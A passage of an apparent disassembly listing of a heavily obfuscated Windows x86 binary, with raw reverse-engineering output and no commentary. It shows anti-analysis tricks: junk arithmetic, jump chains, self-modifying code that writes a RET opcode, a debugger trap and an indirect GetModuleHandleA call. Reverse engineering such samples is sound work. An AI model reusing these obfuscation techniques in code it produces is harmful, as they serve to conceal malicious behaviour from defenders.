[ebp-4] ; END OF FUNCTION CHUNK FOR sub_1001853F ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_10017E8A: ; CODE XREF: sub_10016A1B+37A6j add eax, 5 cmp eax, ds:dword_1001BC9C push offset loc_100139B6 jmp loc_1001CCCF ; END OF FUNCTION CHUNK FOR sub_10016A1B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_10017E9E: ; CODE XREF: sub_10017BF9+3B6Ej jmp loc_1001A77E ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A31 loc_10017EA3: ; CODE XREF: sub_10018A31:loc_1001B978j and esi, 368BBB15h sub esi, 0F3E92159h add esi, 0D3E81061h mov [esi], eax xchg eax, [esp+0] jmp loc_1001B306 ; END OF FUNCTION CHUNK FOR sub_10018A31 ; --------------------------------------------------------------------------- locret_10017EBF: ; CODE XREF: an.kk9rg:10018122j retn ; --------------------------------------------------------------------------- loc_10017EC0: ; CODE XREF: an.kk9rg:1001DD86j jmp sub_100181E1 ; --------------------------------------------------------------------------- loc_10017EC5: ; CODE XREF: an.kk9rg:10018B73j jmp loc_10013316 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_10017ECA: ; CODE XREF: sub_1001A54C:loc_10016CCAj mov eax, ds:dword_10018608 or eax, eax jnz loc_1001D499 jmp loc_1001D27C ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- mov ds:dword_1000202C, eax call sub_1001A277 loc_10017EE8: ; CODE XREF: an.kk9rg:1001B5F3j jmp loc_10016174 ; --------------------------------------------------------------------------- locret_10017EED: ; CODE XREF: an.kk9rg:1001A80Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_10017EEE: ; CODE XREF: sub_100181E1-50B3j jmp loc_100146C7 ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- loc_10017EF3: ; CODE XREF: an.kk9rg:loc_10015FD8j ror eax, 18h jmp loc_10016DE7 ; =============== S U B R O U T I N E ======================================= sub_10017EFB proc near ; CODE XREF: an.kk9rg:100138B3j ; sub_1001D467+Ap ; FUNCTION CHUNK AT 10014C32 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10019BF9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001D3B1 SIZE 00000012 BYTES xchg eax, [esp+0] pop eax push 882C2E4Bh pop esi and esi, 0BC7548C5h add esi, 4B3368E3h jnb loc_10014C38 sub ebp, 0E881A6EBh jmp loc_10014C32 sub_10017EFB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6D2 loc_10017F22: ; CODE XREF: sub_1001A6D2+Aj ror eax, 1Dh xor eax, 6FBB2124h add eax, 677BDD4Ch ror eax, 12h mov edx, [esp+0] push eax mov eax, edx jmp loc_1001B48A ; END OF FUNCTION CHUNK FOR sub_1001A6D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DA6D loc_10017F3F: ; CODE XREF: sub_1001DA6D:loc_1001DEC4j call sub_10013999 ; END OF FUNCTION CHUNK FOR sub_1001DA6D ; START OF FUNCTION CHUNK FOR sub_1001A88A loc_10017F44: ; CODE XREF: sub_1001A88A+18j jmp loc_1001C7B0 ; END OF FUNCTION CHUNK FOR sub_1001A88A ; =============== S U B R O U T I N E ======================================= sub_10017F49 proc near ; CODE XREF: an.kk9rg:1001A74Fj ; sub_1001D8D9:loc_1001C741p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10016EC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018241 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001A646 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DCEE SIZE 00000012 BYTES xchg ecx, [esp+0] pop ecx mov ebp, [eax] add eax, 4 mov edx, [eax] mov al, 1 call edx ; GetModuleHandleA xchg edi, [esp-4+arg_0] jmp loc_10016EC2 sub_10017F49 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_10017F60: ; CODE XREF: sub_1001CBA8-7474j ; an.kk9rg:100170DBj ... jmp loc_1001B463 ; --------------------------------------------------------------------------- loc_10017F65: ; CODE XREF: sub_100136D7:loc_10018851j ; sub_1001CBA8+7j pop ecx xchg eax, [esp-4+arg_0] mov ebp, eax pop eax retn ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- call loc_100195AB ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10017F72: ; CODE XREF: sub_100193F2+36FAj jmp nullsub_118 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018B4A loc_10017F77: ; CODE XREF: sub_10018B4A:loc_10015B0Fj mov ebx, ebp pop ebp lea eax, nullsub_6 mov byte ptr [eax], 0C3h jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_10018B4A ; --------------------------------------------------------------------------- loc_10017F88: ; CODE XREF: an.kk9rg:1001725Fj mov eax, [esp] push ecx mov ecx, edx jmp loc_1001D2C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_10017F93: ; CODE XREF: sub_10014189:loc_100160BBj jz loc_1001CE4E jmp loc_1001805B ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- call sub_1001CEDD ; START OF FUNCTION CHUNK FOR sub_10019F19 loc_10017FA3: ; CODE XREF: sub_10019F19+1Aj jmp loc_1001639F ; END OF FUNCTION CHUNK FOR sub_10019F19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10017FA8: ; CODE XREF: sub_10018066+16B4j jmp loc_1001C1B7 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017FAD: ; CODE XREF: sub_10013389:loc_100186C8j jmp loc_1001B9D5 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_10017FB2: ; CODE XREF: an.kk9rg:10015FF9j jmp loc_100175CA ; --------------------------------------------------------------------------- shr esi, 1Dh jmp sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_10017FBF: ; CODE XREF: sub_100174F4-3B66j test ebx, 664088FFh jmp loc_10019546 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_10017FCA: ; CODE XREF: sub_10016451+11j jz loc_100186A8 jmp loc_1001893A ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10017FD5: ; CODE XREF: sub_1001A97E:loc_10019639j jnz loc_100168C3 jmp loc_100142E3 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017FE0: ; CODE XREF: sub_10013389+9FEAj xor ebx, eax ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_10017FE2 proc near ; CODE XREF: sub_1001ACA5-574Bp xchg esi, [esp+0] pop esi cmp al, 0A4h jz loc_1001C484 jmp loc_1001A444 sub_10017FE2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 85h dd 0C4F5E9FBh, 0F181FFFFh, 0F2E9E51Eh, 5C8AE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015995 loc_10018005: ; CODE XREF: sub_10015995:loc_1001AA3Dj test byte ptr [ebp-7], 8 call sub_1001B5A3 loc_1001800E: ; CODE XREF: sub_100136D7+A25Cj jmp loc_10018329 ; --------------------------------------------------------------------------- loc_10018013: ; CODE XREF: sub_10015995+50B2j jmp loc_10014D45 ; END OF FUNCTION CHUNK FOR sub_10015995 ; --------------------------------------------------------------------------- loc_10018018: ; CODE XREF: an.kk9rg:100176E5j jmp loc_1001821F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001801D: ; CODE XREF: sub_10015066+7BCj jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B4CC loc_10018022: ; CODE XREF: sub_1001B4CC-73D8j jmp loc_1001B998 ; END OF FUNCTION CHUNK FOR sub_1001B4CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A533 loc_10018027: ; CODE XREF: sub_1001A533+14j imul byte ptr [edx] cmp al, 0A4h jz loc_1001754F jmp loc_1001A5DD ; END OF FUNCTION CHUNK FOR sub_1001A533 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10018037: ; CODE XREF: sub_1001504E+AAAj jmp loc_10019F64 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_1001803C: ; CODE XREF: sub_100174F4-4229j jmp loc_100173A6 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10018041: ; CODE XREF: sub_1001492C:loc_100168E5j pop esi adc edi, 3150A5h shr edx, 1 jmp loc_10016747 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001804F: ; CODE XREF: sub_1001A54C+255Dj mov eax, esp push 0 mov edx, esp push edx jmp loc_1001C6F8 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_1001805B: ; CODE XREF: sub_10014189+3E10j cmp edi, 91366939h jmp loc_10017195 ; END OF FUNCTION CHUNK FOR sub_10014189 ; =============== S U B R O U T I N E ======================================= sub_10018066 proc near ; CODE XREF: sub_100195F3+Cp ; an.kk9rg:1001B67Cj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100135B0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100139F6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10013A3E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001437D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10014443 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014461 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001582D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10015EE8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10016A61 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10016B07 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017532 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10017639 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10017FA8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018452 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001852E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018CB6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100192B6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10019714 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100198A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019911 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001A245 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001C1B7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001CAC7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001CC20 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001D0C5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001D3A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D5BC SIZE 0000001B BYTES xchg edx, [esp+0] pop edx jo loc_10017639 sub al, 99h call sub_1001C67F loc_10018077: ; CODE XREF: sub_100181E1-23EAj jmp loc_1001D5BC sub_10018066 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001807C: ; CODE XREF: an.kk9rg:10015B8Dj jmp loc_10013A74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136FF loc_10018081: ; CODE XREF: sub_100136FF+10j jmp loc_100157BA ; END OF FUNCTION CHUNK FOR sub_100136FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_10018086: ; CODE XREF: sub_10015086:loc_100188D5j ; sub_1001537B:loc_1001B379j add esp, 8 call sub_1001C77E loc_1001808E: ; CODE XREF: sub_1001DDD5+14j jmp loc_100162CF ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- loc_10018093: ; CODE XREF: an.kk9rg:loc_1001DE9Ej popf jmp loc_1001D159 ; --------------------------------------------------------------------------- loc_10018099: ; DATA XREF: an.kk9rg:1001CB57o xchg ecx, [esp] jmp loc_1001D709 ; --------------------------------------------------------------------------- loc_100180A1: ; DATA XREF: an.kk9rg:10015E29o dec dword ptr [ebp-18h] jnz loc_1001CC20 jmp loc_10014E33 ; --------------------------------------------------------------------------- loc_100180AF: ; CODE XREF: an.kk9rg:loc_1001A849j inc dword ptr [ebp-0Ch] loc_100180B2: ; CODE XREF: an.kk9rg:1001BB57j jmp loc_1001DABE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015945 loc_100180B7: ; CODE XREF: sub_10015945+Aj ; sub_10015945+7061j inc dword ptr [ebp-8] inc dword ptr [ebp-0Ch] jmp loc_1001C99A ; END OF FUNCTION CHUNK FOR sub_10015945 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100180C2 proc near ; CODE XREF: sub_10015E0D-2533j ; sub_10018AB1:loc_10014103p ... var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015314 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 100156E1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 100163AF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016E27 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100181F1 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 100182FE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001873A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10018DC3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019307 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 10019758 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10019CE9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A233 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001A9C1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001C0DB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001D8C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DB6E SIZE 00000014 BYTES push ebp mov ebp, esp jnb sub_10019F19 add esp, 0FFFFFFECh jmp loc_10019307 sub_100180C2 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_100180D4: ; CODE XREF: an.kk9rg:100196D8j jmp loc_100199D2 ; --------------------------------------------------------------------------- db 50h, 0EFh, 8Ah dword_100180DC dd 77E60000h ; DATA XREF: sub_100181E1:loc_100131A0r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_100180E0: ; CODE XREF: sub_10013688+739Dj jmp nullsub_64 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- pop edi mov ah, 1Fh loc_100180E8: ; DATA XREF: sub_100181E1-23F0o ; sub_10019C87+5o fisubr dword ptr [ecx+ecx*8+66B1599Bh] inc esi mov esi, [edx] mov byte ptr [esi], 0 loc_100180F5: ; CODE XREF: an.kk9rg:1001C34Ej jmp locret_10014000 ; --------------------------------------------------------------------------- push ebp jmp loc_1001505C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10018101: ; CODE XREF: sub_10016D04+394Dj pop ecx ror ebx, 1Bh jmp loc_10019216 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- and ecx, 5AD3FEFEh jmp loc_10017678 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_10018116: ; CODE XREF: sub_1001D201-7CEAj jmp loc_1001DBB7 ; END OF FUNCTION CHUNK FOR sub_1001D201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001811B: ; CODE XREF: sub_10015988-1084j jmp loc_1001D1D0 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- test al, al jz locret_10017EBF jmp loc_10014312 ; --------------------------------------------------------------------------- shl edx, 1Dh ror edx, 13h rol eax, 4 and ebp, 83902098h jmp loc_10013B47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AC73 loc_10018141: ; CODE XREF: sub_1001AC73-4A33j or edx, 0B96EB967h add edx, 6B884B12h push offset sub_1001836B jmp nullsub_223 ; END OF FUNCTION CHUNK FOR sub_1001AC73 ; --------------------------------------------------------------------------- push ebx push 0C7EF4713h xchg ebp, [esp] mov ebx, ebp pop ebp sub ebx, 8CA4EA9Eh jmp loc_1001DAB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001816E: ; CODE XREF: sub_10019E2E:loc_10018498j add edx, 393E6233h add edx, ebp add edx, 0FC93F1AEh mov edx, [edx] imul byte ptr [edx] jmp loc_10017DB3 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10018185: ; CODE XREF: sub_10016734:loc_100130A8j jz loc_10017C91 jmp loc_1001D08F ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- dword_10018190 dd 0 ; DATA XREF: sub_1001B5A3:loc_10015FD1w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001558A loc_10018194: ; CODE XREF: sub_1001558A+864Cj jmp loc_10014BBD ; END OF FUNCTION CHUNK FOR sub_1001558A ; --------------------------------------------------------------------------- db 0F2h, 64h, 4Fh dword_1001819C dd 0 ; DATA XREF: an.kk9rg:10013309w ; sub_10013389+9Cr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_100181A0: ; CODE XREF: sub_1001A6F7-2D06j jmp sub_1001AA74 ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_100181A5: ; CODE XREF: sub_10013688+2CD5j jmp loc_1001B0F9 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- dw 0A12Bh dword_100181AC dd 0 ; DATA XREF: an.kk9rg:10016B45w ; an.kk9rg:10016B4Ar ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_100181B0: ; CODE XREF: sub_10013389:loc_100133F0j ; sub_100130C7+9F88j jmp loc_1001A0F8 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001534D loc_100181B5: ; CODE XREF: sub_1001534D+1j jmp loc_1001383B ; END OF FUNCTION CHUNK FOR sub_1001534D ; --------------------------------------------------------------------------- loc_100181BA: ; DATA XREF: sub_10013310+1976o xor cl, [ebp-2Bh] fsub qword ptr [ebp-37h] int 3 ; Trap to Debugger and edi, [eax+0C68D32h] loc_100181C7: ; CODE XREF: an.kk9rg:100178BAj jmp loc_10014E54 ; --------------------------------------------------------------------------- dd offset dword_10002000 dd 11h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_100181DC: ; CODE XREF: sub_10017A58+152Fj jmp loc_10018706 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; =============== S U B R O U T I N E ======================================= sub_100181E1 proc near ; CODE XREF: an.kk9rg:1001301Ep ; an.kk9rg:10013112p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013128 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100131A0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10013BCF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100146C7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015DE7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001666E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017EEE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001ABE3 SIZE 0000000C BYTES jnb loc_100131A0 push 7DB45FC8h loc_100181EC: ; CODE XREF: sub_10013999:loc_100157ADj jmp loc_10013BCF sub_100181E1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_100181F1: ; CODE XREF: sub_100180C2-1D0Dj mov ds:dword_10013FFC, eax lea eax, [ebp+var_14] xor edx, edx call sub_10019030 call sub_10015860 call nullsub_4 loc_1001820A: ; CODE XREF: sub_100180C2+1256j ; sub_10019F19+14j ... mov eax, ds:dword_10013FFC mov [ebp+var_4], eax jmp loc_10018DC3 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- popf xor esi, ebp jmp sub_10016D66 ; --------------------------------------------------------------------------- loc_1001821F: ; CODE XREF: an.kk9rg:loc_10018018j jl loc_1001899B sbb esi, 75199DA1h adc ebx, 3CDA2E53h jmp loc_1001899B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10018236: ; CODE XREF: sub_10016734:loc_1001D6CAj jz loc_10017C91 jmp loc_1001C1D8 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017F49 loc_10018241: ; CODE XREF: sub_10017F49+5DB2j pop eax xor eax, 5C209880h and eax, 49A61F25h or eax, 0D17036DDh push offset sub_1001357E jmp loc_1001A646 ; END OF FUNCTION CHUNK FOR sub_10017F49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001825E: ; CODE XREF: sub_10013389+1EFj push offset sub_10019409 jmp nullsub_33 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10018268 proc near ; CODE XREF: sub_1001893F+848j retn sub_10018268 endp ; --------------------------------------------------------------------------- loc_10018269: ; CODE XREF: an.kk9rg:100188B5j jmp loc_1001CE31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A76 loc_1001826E: ; CODE XREF: sub_10014A76+15j jmp loc_1001C31E ; END OF FUNCTION CHUNK FOR sub_10014A76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10018273: ; CODE XREF: sub_10013389+149j jmp loc_1001707C ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10018278: ; CODE XREF: sub_100193F2+451Cj sub ebp, edx loc_1001827A: ; CODE XREF: sub_100193F2:loc_100138F2j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10014222 jmp loc_10018977 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; =============== S U B R O U T I N E ======================================= sub_1001828B proc near ; CODE XREF: an.kk9rg:10013202j ; sub_10013044:loc_100137C5p arg_4 = dword ptr 8 xchg esi, [esp+0] pop esi pop ecx xchg eax, [esp-8+arg_4] mov ebp, eax pop eax retn 4 sub_1001828B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10018299: ; CODE XREF: sub_10016D66:loc_1001468Ej ; sub_1001A6F7+92Dj jmp loc_10014704 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_1001829E: ; CODE XREF: sub_10019E17+11j jmp loc_10014A5A ; END OF FUNCTION CHUNK FOR sub_10019E17 ; =============== S U B R O U T I N E ======================================= sub_100182A3 proc near ; DATA XREF: sub_10013389:loc_1001387Fo call sub_10015B5D mov edx, 0E5254649h call sub_1001DECE mov ds:dword_10019664, eax jmp loc_100189C3 sub_100182A3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100182BC: ; CODE XREF: sub_10013389:loc_10013B95j cmp ds:dword_10019664, 0 jnz loc_100172EA loc_100182C9: ; CODE XREF: sub_10016D04-324Bj call sub_10015B5D mov edx, 0E5254649h jmp loc_100189B9 ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_100182D9 proc near ; CODE XREF: sub_1001CC4A-6DB6p ; sub_1001C547:loc_1001900Bp ... ; FUNCTION CHUNK AT 10015BA4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016556 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100196FD SIZE 00000005 BYTES jz sub_10013359 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp-1], al cmp byte ptr [ebp-1], 0 jz loc_10016556 mov dword ptr [ebp-8], 1 jmp loc_100196FD sub_100182D9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_100182FE: ; CODE XREF: sub_100180C2:loc_1001976Cj mov ecx, eax xchg ecx, [esp+0] lea eax, sub_1001C380 push edx mov edx, eax xchg edx, [esp+0] push 0 push 0 jmp loc_1001A233 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10018318: ; CODE XREF: sub_10016734-2C4Dj sub ecx, 1EF7F786h cmp ebx, 0A234C100h jmp loc_1001B844 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015995 loc_10018329: ; CODE XREF: sub_10015995:loc_1001800Ej xchg ebx, [esp-8+arg_4] mov ebp, ebx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_10015995 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10018330 proc near ; CODE XREF: an.kk9rg:100147C2p ; sub_1001B2CC-526Bj ; FUNCTION CHUNK AT 10013ADB SIZE 0000000A BYTES push ebp mov ebp, esp jmp loc_10013ADB sub_10018330 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A4DF loc_10018338: ; CODE XREF: sub_1001A4DF:loc_1001DA41j neg eax cmp ax, 0A5B3h jnz loc_1001A4E8 retn ; --------------------------------------------------------------------------- loc_10018345: ; CODE XREF: sub_1001A4DF:loc_1001A4E8j sub ebx, 10000h mov eax, [ebx] jmp loc_100158A8 ; END OF FUNCTION CHUNK FOR sub_1001A4DF ; =============== S U B R O U T I N E ======================================= sub_10018352 proc near ; CODE XREF: sub_1001A51D-6372p ; an.kk9rg:1001D406j ; FUNCTION CHUNK AT 1001458B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016D2A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017932 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018A07 SIZE 0000000C BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] mov al, [eax] jns loc_1001458B sub al, 99h mov edx, [ebp-4] jmp loc_10016D2A sub_10018352 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001836B proc near ; DATA XREF: sub_1001AC73-2B26o add edx, ebp add edx, 0D908B773h call sub_10014092 sub_1001836B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10018378: ; CODE XREF: sub_1001504E+7E3Ej jmp loc_1001B91F ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- loc_1001837D: ; CODE XREF: an.kk9rg:1001A8CAj jmp sub_100142E8 ; --------------------------------------------------------------------------- push offset sub_1001BB72 jmp locret_1001DD45 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_1001838D: ; CODE XREF: sub_100175DE+12j jmp loc_10013143 ; END OF FUNCTION CHUNK FOR sub_100175DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B29 loc_10018392: ; CODE XREF: sub_10016B29-D9Fj jmp nullsub_38 ; END OF FUNCTION CHUNK FOR 